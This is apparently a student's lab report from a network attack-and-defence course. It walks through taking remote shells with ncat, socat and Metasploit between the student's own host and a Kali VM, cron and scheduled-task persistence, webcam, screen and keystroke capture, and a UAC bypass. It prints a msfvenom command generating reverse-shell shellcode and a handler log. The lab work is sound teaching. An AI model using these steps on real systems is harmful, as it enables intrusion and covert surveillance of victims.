20212316 2023-2024-2 《网络与系统攻防技术》实验二实验报告

20212316邵庄程 2024-04-03 12:27:38

实验二 后门原理与实践

1 实验内容

1.1 学习内容

①主要学习了ncat、socat和meterpreter等工具的使用。
②尝试了如何远程操控其它设备并且任务计划启动。
③还自己制作了后门程序并利用它获取其他设备的shell,进行摄像头调用、截屏、键盘敲击记录截取等操作,并且尝试提权。
④进一步了解了程序的破解。

1.2 实践目标

①使用netcat获取主机操作Shell,cron启动某项任务(任务自定)。
②使用socat获取主机操作Shell, 任务计划启动。
③使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
④使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
⑤使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.3 问题回答

①例举你能想到的一个后门进入到你系统中的可能方式?
答:在盗版网站或者其它不可靠来源下载软件时,后门可能会伪装成应用程序或其他文件混入电脑(甚至连mp4后缀名都能伪装,因为我真的中过招,要不是有杀毒软件我就完蛋了)。
②例举你知道的后门如何启动起来(win及linux)的方式?
答:windows启动方式有计划任务、注册表启动等;linux启动方式有cron任务、启动脚本等。
③Meterpreter有哪些给你映像深刻的功能?
答:它的制作后门和监听功能。我本来以为后门渗透这种操作很难做到,没想到通过meterpreter能这么容易就基本实现了。
④如何发现自己有系统有没有被安装后门?
答:我们可以自己检查自己电脑的注册表和计划任务,但后门肯定也会伪装。最好的办法还是安装杀毒软件扫描一下,看看也没有警告。

2. 实验过程

2.1 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

首先查看一下自己主机和虚拟机的ip地址。

img


img

然后使用ncat工具,让windows获取kali虚拟机的shell。

img


img

获取shell成功。

img

使用cron指令为虚拟机设定任务,每分钟向20212316szc.txt中写入一次20212316szc。

img

可以看到任务成功执行。

img

2.2 使用socat获取主机操作Shell, 任务计划启动

先用socat在主机和虚拟机之间建立起连接,虚拟机获取主机shell

img


img

要设定的任务是我自己写的一个c语言小程序,运行一次会向F盘下的test.txt文件写入一个1。

img

小程序编译出来以后就可以在虚拟机为主机设定任务了,注意不要把地址搞错了。

img

查看一下运行结果。

img


img

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

第一步是在kali虚拟机中生成一个后门文件,这里的地址要用虚拟机的ip地址。

img

随后利用ncat传输这个后门,代码输入顺序是先win后kali。如果出现传输问题的话可以把虚拟机的网络连接方式改成桥接,但我很幸运顺利传过去了。

img


img

随后打开msf控制台,使用监听模块,设置负载、IP和端口号。

img


img

确认设置无误后开始监听,在windows端运行后门,kali虚拟机这边应该就可以获取到windows的shell了。

img


img

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

接上一步,获取到shell之后,我们就可以自由地远程使用很多指令来渗透了。

调用摄像头拍照。

img

监控屏幕。

img

截取键盘敲击记录。

img

虽然我们获取道路主机的shell,但提权也不是直接能成功的,还需要伪装一下绕过uac。

img


img


img

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

首先使用MSF生成shellcode

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.3.152 LPORT=2316 -f c

然后仿照着第三步的做法,重新设置负载、IP和端口号,进行监听,就可以获取到shell了。

img

3. 问题及解决方案

问题1:在第一个实验任务中,我使用echo指令顺利插入了任务,crontab -l也可以查看到任务,但是不执行。
解决:我认真对比了其它同学的实验报告,发现它们在使用echo指令之前都会先在kali虚拟机里crontab -e一次选择编辑器,而且它们在windows端会先进入kali的root再插入指令。我仔细仿照以上做法重新来过一次之后就成功了。

img

问题2:在最后一步的shellcode注入中,我按照其他同学的方法做,但在开始exploit后,控制台会一直刷屏显示正在向我的主机发送stage。但我很确定我没有搞错IP。当时忘记截图了,但控制台情况大体如下:

msf6 exploit(multi/handler) > exploit

[] Started reverse TCP handler on 192.168.3.152:2316
[] Sending stage (1017704 bytes) to 192.168.3.16
[] Sending stage (1017704 bytes) to 192.168.3.16
[] Sending stage (1017704 bytes) to 192.168.3.16
[] Sending stage (1017704 bytes) to 192.168.3.16
[] Sending stage (1017704 bytes) to 192.168.3.16
[] Sending stage (1017704 bytes) to 192.168.3.16
解决:这问题我在网上搜都说是IP搞错了,其他同学也没遇到过。最后没有办法去别的宿舍请别的同学看着我做了做了一遍,就没有出现这个问题。然而后来我同样指导舍友做的时候又开始刷屏。我们当时猜想可能是我们宿舍WiFi网络的问题,于是我们关掉wifi使用手机热点,果然再也没有出现这样的情况。

4. 学习感悟

这次的实验依旧很不容易,但我做完之后反而有了一股成就感。在学习网络攻防之前,在我的认知中后门、渗透、远程获取权限这些东西都是很高深很难懂的,没想到我也能这么简单的完成这些操作,虽然做的是最简单的渗透,但我也有一种梦想照进现实的感觉。实验过程中我也遇到了很多很多问题,例如,我schtask那行指令自己敲错了没发现,网上搜了半天,自己电脑折腾了半天,回头检查才发现有笔误。不过在其他同学的帮助和我自己的坚持下,还是顺利的完成了这次实验。这次实验我扮演的是网络攻防中的进攻方,让我深刻体会到了网络攻防的防不胜防,要是我的舍友趁我关了杀毒软件和防火墙来攻击我,我还真不一定不中招呢!

...全文
43 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

92

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧